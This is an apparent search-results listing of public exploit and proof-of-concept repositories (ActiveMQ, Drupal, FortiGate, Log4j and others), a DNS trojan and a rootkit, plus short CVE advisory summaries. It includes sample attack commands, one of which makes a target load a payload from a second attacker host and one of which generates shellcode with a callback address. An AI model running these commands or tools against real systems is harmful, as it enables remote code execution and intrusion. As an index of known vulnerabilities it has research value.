319732 matches found
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
Ссылка на проект Данный проект — это exp на python, переписанный на основе exp из проекта https://github.com/X1r0z/ActiveMQ-RCE. Использование python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Параметр -p по умолчанию равен стандартному порту activeMQ. Обратите...
CVE-2018-7600-Drupal-0day-RCE
CVE-2018-7600-Drupal-0day-RCE Drupal 0day удаленное выполнение PHP-кода Perl Это 0day эксплойт удаленного выполнения кода RCE в Drupal CMS Вы можете загрузить полезную нагрузку на сервер. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Как запустить эксплойт: 1-git...
F5-Big-IP-CVE-2022-1388
F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP неавторизованное удаленное выполнение кода PoC Подписывайтесь на нас Vulnmachines YouTube Twitter Facebook LinkedIn...
SAP_EEM_CVE-2020-6207
PoC для CVE-2020-6207 отсутствие проверки подлинности в SAP Solution Manager Этот скрипт позволяет проверять и эксплуатировать отсутствующие проверки подлинности в сервлете SAP EEM tcsmdagentapplicationeem, которые приводят к RCE на агентах SAP SMDAgents, подключённых к SAP Solution Manager...
boopkit
================================================================ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║ ██████╔╝╚██████╔╝╚██████╔╝██║ ██║...
log4shell_1.x
Log4jShell1.x Log4j RCE 1.x Poc Атака Ограничение 1. Цель имеет окружение JMS 2. Вам нужен доступ для изменения файла log4j.properties Заключение Не так полезно, как log4shell 2.x Тема Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j Приветствуем ваш вклад в reapoc...
CVE-2023-27997
CVE-2023-27997 Данный код эксплуатирует FortiGate VM64 7.2.0. обратите внимание, что код написан очень глупым способом. Доказательство концепции $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - no...
CVE-2021-44228
CVE-2021-44228 Воспроизведение уязвимости 1. Сначала запустите RmiServer, чтобы создать службу реестра RMI. 2. Запустите Log4jTest: если вы используете Windows, появится калькулятор...
CVE-2025-49132
CVE-2025-49132 Pterodactyl — это бесплатная панель управления игровыми серверами с открытым исходным кодом. До версии 1.11.11, используя /locales/locale.json с параметрами запроса locale и namespace, злоумышленник может выполнить произвольный код без аутентификации. Возможность выполнения...
CVE-2025-50754-PoC
CVE-2025-50754 Хранимая XSS, приводящая к удаленному выполнению кода в PHP-CMS Сводка PHP-система управления контентом версия 5 содержит уязвимость хранимого межсайтового скриптинга XSS в функции «Report». Когда администратор просматривает отправленный пользователем отчет, вредоносный JavaScript...
CVE-2020-35476
CVE-2020-35476 Уязвимость удаленного выполнения кода существует в OpenTSDB до версии 2.4.0 через внедрение команды в параметр yrange. Не завершено и не работает. Большая часть кода есть, но полезная нагрузка должна быть исправлена...
dnschan
dnschan DNS를 통해 실행되는 트로이 목마입니다. 다음을 수행할 수 있습니다: 여러 에이전트 처리 매우 느리게 파일 업로드 웹에서 파일 가져오기 프로세스 실행...
CVE-2026-84246
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow...
CVE-2026-84057
IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...
CVE-2026-82895
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow...
CVE-2026-107406
Memory overflow vulnerability leading to Remote Code Execution or Denial of Service Vulnerability in NetScaler ADC. NetScaler ADC or NetScaler Gateway must be configured as a SAML SP or SAML IdP, subject to the following version-specific requirements: For the following versions: Applicable only...
CVE-2020-9548
CVE-2020-9548：Уязвимость удаленного выполнения кода в FasterXML/jackson-databind...
CVE-2026-88131
A critical Remote Code Execution (RCE) vulnerability exists in Microsoft Dataverse due to the deserialization of untrusted data . This flaw allows an unauthorized attacker to execute arbitrary code over the network. The vulnerability has a CVSS 3.1 score of 9.8 , indicating high impact on confide...
CVE-2026-77900
A critical vulnerability in Azure App Service (CVE-2026-77900) stems from missing authentication for a critical function. This flaw allows an unauthorized attacker to achieve remote code execution over a network. The vulnerability is confirmed with a CVSS 3.1 base score of 9.8 . No specific explo...